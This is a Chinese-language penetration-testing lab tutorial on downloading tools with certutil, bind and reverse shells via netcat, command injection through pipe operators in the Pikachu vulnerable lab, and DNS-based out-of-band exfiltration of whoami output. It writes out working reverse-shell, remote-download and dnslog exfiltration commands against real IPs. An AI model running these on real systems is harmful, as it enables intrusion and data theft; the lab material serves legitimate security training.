反弹shell数据不回显带外查询pikaqiu靶场搭建
P1 文件上传下载(解决无图形化和解决数据传输)
解决无图形化:
当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口,无法获取图形化界面,因此,我们就需要命令来实现文件的上传和下载。
比如,当我们想上传一个文件到对方的服务器,我们应该想办法用命令让对方执行下载操作,而不可能直接打开对方的服务器的浏览器去下载,因为我们没有获取这样的权限,只能通过黑窗窗输入命令尝试。
- 先建一个网站,把nc.exe 上传到网站上,上传后访问一下看能否正常下载


- 确认访问网站可下载后,再在棱角社区文件下载模块中根据操作系统选择相应的下载命令

windows下载:
centos下载:
-
文件下载的作用:
解决渗透环境中没有图形化界面权限,但需要把安全脚本工具传到对方的服务器
思路:在自己的服务器上上传安全测试工具脚本或后门脚本,构造下载的IP地址,让对方远程用命令把需要的文件下载到它的服务器上 - 实际应用:反弹shell有编程语言反弹、有自带工具反弹的、有安全工具类反弹的

-
反弹是干啥用的?为什么要进行反弹?反弹的应用场景
假设你在网上找到一个漏洞,这个漏洞需要你去执行命令,执行完之后,需要等待你的输入继续向下执行,就像网站你输入命令执行了,但它不会把界面给到你,相当于你的命令会一直卡在那里。这是反弹命令可以解决的:它可以把对方的界面反弹到你这边,你就可以输入命令继续向下执行了
反弹可以解决数据通讯问题:
比如:你在网站上一直提交提交,就一直有流量过去,但如果你把权限反弹回来以后,就相当于你在本地执行一样 - 正向连接和反向连接
反弹中一个重要的知识点就是正向连接和反向连接,正向:主动找别人;反向:让别人主动找自己;正向连接和反向连接关键是看以谁为基础
假设有一台linux和一台Windows的服务器,以Windows服务器为基准,Windows服务器主动连接linux就是正向连接,Linux主动连接Windows服务器是反向连接
正向连接
以linux为基准,Linux主动连接Windows服务器是正向连接,Windows服务器主动连接linux就是反向连接。
实验:正向实验
linux主动连接Windows服务器
linux->windows
//绑定cmd到本地的5566端口
nc -e cmd -lvvp 5566
//主动连接目标的5566
ncat 8.218.177.129 5566
反向连接
linux控制windows服务器的cmd
linux主动连接windows,
windows服务器需要先下载nc.exe
cmd要回到nc.exe文件所在的目录才能正常执行
cmd要回到nc.exe文件所在的目录才能正常执行
ps:如果使用的是阿里云之类的云服务器,5566访问不通可能是基于不同厂商的网络安全策略导致,需要访问云服务器的后台增加对应的规则。

nc -e cmd -lvvp 5566
绑定cmd到本地端口的5566
服务器执行上述命令后
linux执行以下命令:
nc 8.218.177.219 5566

这样Windows服务器的cmd窗口就反弹到了linux
Windows服务器输入:
命令:nc -l -p 5566 -t -e c:\windows\system32\cmd.exe
命令解释:本地监听 5354 端口,当有连接进入时,将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应 到 连接者。连接者 就可以进入被连接者的 cmd。( 反弹 shell 原理 )
因为我用的Windows和Linux都是阿里云平台的,因此,需要在阿里云服务器的安全组策略中添加5566端口,两个服务器都要添加,否则端口数据会被防火墙拦截导致连接超时
如果是虚拟机的话,需要关闭防火墙 - 反向连接
windows控制linux
//绑定SH到本地的5566端口
nc -e /bin/sh -lvvp 5566
//主动连接目标的5566
nc 172.18.119.236 5566
linux系统一般都有 NC 的,但是 - e 选项一般都默认不编译。NC不使用-e选项反弹shell


- 什么时候用正向连接什么时候用反向连接呢?
打开我的一台Windows虚拟机
在虚拟机时属于内网的
而我们aliyun服务器的Linux是属于外网的
外网找内网的实验
虚拟机开启监听nc -lvvp 5566
linux 连接虚拟机的5566端口
是连不上的
此时,对于linux而言,Linux正向连接Windows是连不上的
就要尝试反向连接
让虚拟机(内网 )主动把cmd给到linux
虚拟机:nc -e cmd linux的IP 5566
这就是正向反向连接的应用价值,什么时候用正向连接,什么时候用反向连接,你要根据网络决定
那么现在,如果是内网(虚拟机)控制linux应该怎么操作呢? - 管道符的使用
利用管道符可以执行多条命令管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)Windows->| & || &&
Linux->; | || & && ``(特有``和;)
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`
P2 漏洞靶场搭建-皮卡丘
- 安装phpstudy,打开phpstudy网站目录设置,将目录设置为皮卡丘靶场源码的根目录位置,设置完后重启phpstudy,


- 设置完后重启phpstudy,打开皮卡丘原版里的inc文件夹,里面的config.inc.php文件,将数据库的密码也改为root,保存后重启phpstudy

- 进入浏览器访问靶场的安装页面,即在网站中访问install.php文件,进入后点击安装初始化

显示如下界面表明皮卡丘靶场已经搭建成功,点击“点击这里”连接即可进入靶场
P3 皮卡丘靶场实战&反弹shell/正向连接/反向连接
-
防火墙关闭情况下的反弹shell
第一步:判断操作系统类型


第二部:判断出是Windows操作系统后需要上传nc
01 棱角社区查找下载命令

02 打开皮卡丘靶场下的RCE下的exec “ping”,在右边的框框中输入下载命令点击ping127.0.0.1 |certutil.exe -urlcache -split -f http://8.218.177.129:80/nc.exe nc.exe

03 通过nc进行反弹shell
正向:
皮卡丘将自己的cmd绑定到本地的5566端口,linux主动连接皮卡丘服务器的5566端口
注:8.218.177.129是靶场所在服务器的IP地址
反向:
linux监听5566端口,皮卡丘主动给出自己的cmd给到linux的5566端口linux: nc -lvvp 5566 pikaqiu靶场: 127.0.0.1 | c:\\nc.exe 121.40.222.191 5566 -e cmd 注:121.40.222.191是我的Linux云服务器的外网IP
-
防火墙开启情况下的反弹shell
-
防火墙策略入站规则中阻止5566端口连接

以linux为基准,linux->windows正向连接不成功 ,windows->linux反向连接成功(原因是防火墙策略入站检测严格而出站检测宽松,入站阻止了5566端口连接)
防火墙策略出站规则中阻止5566端口连接,删除入站规则限制,添加出站规则限制后,反向连接不能反弹,正向连接也不能反弹
因为防火墙只允许设置入站规则的端口进行通信
如果在入站规则中添加允许5566端口连接的话,正向反向的连接情况会是怎样的呢?
如果在入站规则中允许5566端口访问的话,出站规则中限制5566端口的话,正向连接可以成功反弹,反向连接不能成功反弹


P4 带外查询
-
什么是带外查询?带外查询有什么用?
-
正常情况下在靶场命令框输入whoami的结果是这样的 ,但是如果没有任何结果输出时怎么办呢?这时就需要用到带外查询了!!!

所谓带外查询就是当输入命令没有正常回显的时候,通过其他方法将命令执行的结果回显出来。
-
带外查询的应用场景
-
我想知道靶场的服务器是什么操作类型,这时候在ping框框中输入whoami,但是没有任何结果显示,那我怎么才能知道结果呢?带外查询,通过带外查询能将whoami的结果带出来,显示出来。
-
通过Windows的powershell理解带外查询
-
01 访问dnslog.cn
02 Windows中的PowerShell
03 dnslog浏览器点击Refresh Record刷新,根据结果“admin”我们知道操作系统是windows

-
pikaqiu靶场带外查询
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.jazxdx.dnslog.cn';$z=$x+$y;ping $zdnslog结果回显

相关文章:
反弹shell数据不回显带外查询pikaqiu靶场搭建
P1 文件上传下载(解决无图形化和解决数据传输) 解决无图形化: 当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口…...
按键修改阈值功能、报警功能、空气质量功能实现
按键修改阈值功能 要使用按键,首先要定义按键。通过查阅资料,可知按键的引脚如图所示:按键1(S1)通过KEY0与PA0连接,按键2(S2)通过KEY1与PE2连接,按键3(S3&…...
spring重点整理篇--springMVC(嘿嘿,开心哟)
Spring MVC是的基于JavaWeb的MVC框架,是Spring框架中的一个组成部分(WEB模块) MVC设计模式: Controller(控制器) Model(模型) View(视图) 重点来了😄 SpringMVC的工作机制…...
图像融合评估指标Python版
图像融合评估指标Python版 这篇博客利用Python把大部分图像融合指标基于图像融合评估指标复现了,从而方便大家更好的使用Python进行指标计算,以及一些I/O 操作。除了几个特征互信息的指标没有成功复现之外,其他指标均可以通过这篇博客提到的P…...
20230303----重返学习-函数概念-函数组成-函数调用-形参及匿名函数及自调用函数
day-019-nineteen-20230303-函数概念-函数组成-函数调用-形参及匿名函数及自调用函数 变量 变量声明 变量 声明定义(赋值) var num;num 100; 声明与赋值分开var num 100; 声明时就赋值 赋值只能声明一次,可以赋值无数次 变量声明关键词 varconstletclassfunctio…...
Java面试题总结
文章目录前言1、JDK1.8 的新特性有哪些?2、JDK 和 JRE 有什么区别?3、String,StringBuilder,StringBuffer 三者的区别?4、为什么 String 拼接的效率低?5、ArrayList 和 LinkedList 有哪些区别?6…...
深圳大学计软《面向对象的程序设计》实验7 拷贝构造函数与复合类
A. Point&Circle(复合类与构造) 题目描述 类Point是我们写过的一个类,类Circle是一个新的类,Point作为其成员对象,请完成类Circle的成员函数的实现。 在主函数中生成一个圆和若干个点,判断这些点与圆的位置关系,…...
Java的JVM(Java虚拟机)参数配置
JVM原理 (1)jvm是java的核心和基础,在java编译器和os平台之间的虚拟处理器,可在上面执行字节码程序。 (2)java编译器只要面向jvm,生成jvm能理解的字节码文件。java源文件经编译成字节码程序&a…...
leetcode 困难 —— 数据流的中位数(优先队列)
题目: 中位数是有序整数列表中的中间值。如果列表的大小是偶数,则没有中间值,中位数是两个中间值的平均值。 例如 arr [2,3,4] 的中位数是 3 。 例如 arr [2,3] 的中位数是 (2 3) / 2 2.5 。 实现 MedianFinder 类: MedianFinder() 初始化…...
7个常用的原生JS数组方法
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 7个常用的原生JS数组方法一、Array.map()二、Array.filter三、Array.reduce四、Array.forEach五、Array.find六、Array.every七、Array.some总结一、Array.map() 作用&#…...
一、一篇文章打好高数基础-函数
1.连续函数的性质考点分析函数的连续性主要考察函数的奇偶性、有界性、单调性、周期性。例题判断函数的奇偶性的有界区间为() A.(-1,0) B(0,1) C(1,2) D(2,3)2.闭区间上连续函数的性质考点分析闭区间上连续函数的性质主要考察函数的最大最小值定理、零点…...
pipenv的基本使用
一. pipenv 基础 pipenv安装: pip install pipenvpipenv常用命令 pipenv --python 3 # 创建python3虚拟环境 pipenv --venv # 查看创建的虚拟环境 pipenv install 包名 # 安装包 pipenv shell # 切换到虚拟环境中 pip list # 查看当前已经安装的包࿰…...
OpenCV入门(三)快速学会OpenCV2图像处理基础
OpenCV入门(三)快速学会OpenCV2图像处理基础 1.颜色变换cvtColor imgproc的模块名称是由image(图像)和process(处理)两个单词的缩写组合而成的,是重要的图像处理模块,主要包括图像…...
基于PySide6的MySql数据库快照备份与恢复软件
db-camera 软件介绍 db-camera是一款MySql数据库备份(快照保存)与恢复软件。功能上与dump类似,但是提供了相对有好的交互界面,能够有效地管理导出的sql文件。 使用场景 开发阶段、测试阶段,尤其适合单人开发的小项目…...
BI不是报表,千万不要混淆
商业智能BI作为商业世界的新宠儿,在市场上实现了高速增长并获得了各领域企业的口碑赞誉。 很多企业把商业智能BI做成了纯报表,二维表格的数据展现形式,也有一些简单的图表可视化。但是这些简单的商业智能BI可视化报表基本上只服务到了一线的…...
sizeof以及strlen的用法以及注意事项
大家都知道,在c中算字符串长度和所占空间大小事不可避免的,甚至再有的时候,我们在写代码的过程中,就会用到这些数据。比如,下面这道题 struct Test { int Num; char *pcName; short sDate; char cha[2]; short sBa[4];…...
数据结构-链表-单链表(3)
目录 1. 顺序表的缺陷 2. 单链表 2.1 单链表的基本结构与接口函数 2.2 重要接口 创建新节点的函数: 2.2.1 尾插 2.2.2 头插 2.2.3 尾删 2.2.4 头删 2.2.5 查找 2.2.6 插入 2.2.7 删除 2.2.8 从pos后面插入 2.2.9 从pos后面删除 3. 链表的缺陷与优势&…...
【SpringBoot初级篇】JdbcTemplate常用方法
【SpringBoot初级篇】JdbcTemplate常用方法JdbcTemplate 查询JdbcTemplate 插入、更新、删除execute执行任意的SQLNamedParameterJdbcTemplate函数场景说明update(String sql, Nullable Object… args)增,删,改queryForObject(sql, Integer.class)查询返…...
React(三):脚手架、组件化、生命周期、父子组件通信、插槽、Context
React(三)一、脚手架安装和创建1.安装脚手架2.创建脚手架3.看看脚手架目录4.运行脚手架二、脚手架下从0开始写代码三、组件化1.类组件2.函数组件四、React的生命周期1.认识生命周期2.图解生命周期(1)Constructor(2&…...
[教程]使用 Git 克隆指定分支
Git 是我们开发过程中经常使用到的版本管理工具,在平常情况下我们从远程克隆的时候会将整个库克隆下来,这会包括整个版本库的历史提交记录和远程库里的所有分支。但在一些情况下,比如我们并不需要查看历史提交记录而只是希望能够获取到最新的代码&#x…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别
UnsatisfiedLinkError 在对接硬件设备中,我们会遇到使用 java 调用 dll文件 的情况,此时大概率出现UnsatisfiedLinkError链接错误,原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用,结果 dll 未实现 JNI 协…...
Psychopy音频的使用
Psychopy音频的使用 本文主要解决以下问题: 指定音频引擎与设备;播放音频文件 本文所使用的环境: Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...
微服务商城-商品微服务
数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
第 86 场周赛:矩阵中的幻方、钥匙和房间、将数组拆分成斐波那契序列、猜猜这个单词
Q1、[中等] 矩阵中的幻方 1、题目描述 3 x 3 的幻方是一个填充有 从 1 到 9 的不同数字的 3 x 3 矩阵,其中每行,每列以及两条对角线上的各数之和都相等。 给定一个由整数组成的row x col 的 grid,其中有多少个 3 3 的 “幻方” 子矩阵&am…...
MySQL用户和授权
开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务: test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
淘宝扭蛋机小程序系统开发:打造互动性强的购物平台
淘宝扭蛋机小程序系统的开发,旨在打造一个互动性强的购物平台,让用户在购物的同时,能够享受到更多的乐趣和惊喜。 淘宝扭蛋机小程序系统拥有丰富的互动功能。用户可以通过虚拟摇杆操作扭蛋机,实现旋转、抽拉等动作,增…...
从面试角度回答Android中ContentProvider启动原理
Android中ContentProvider原理的面试角度解析,分为已启动和未启动两种场景: 一、ContentProvider已启动的情况 1. 核心流程 触发条件:当其他组件(如Activity、Service)通过ContentR…...
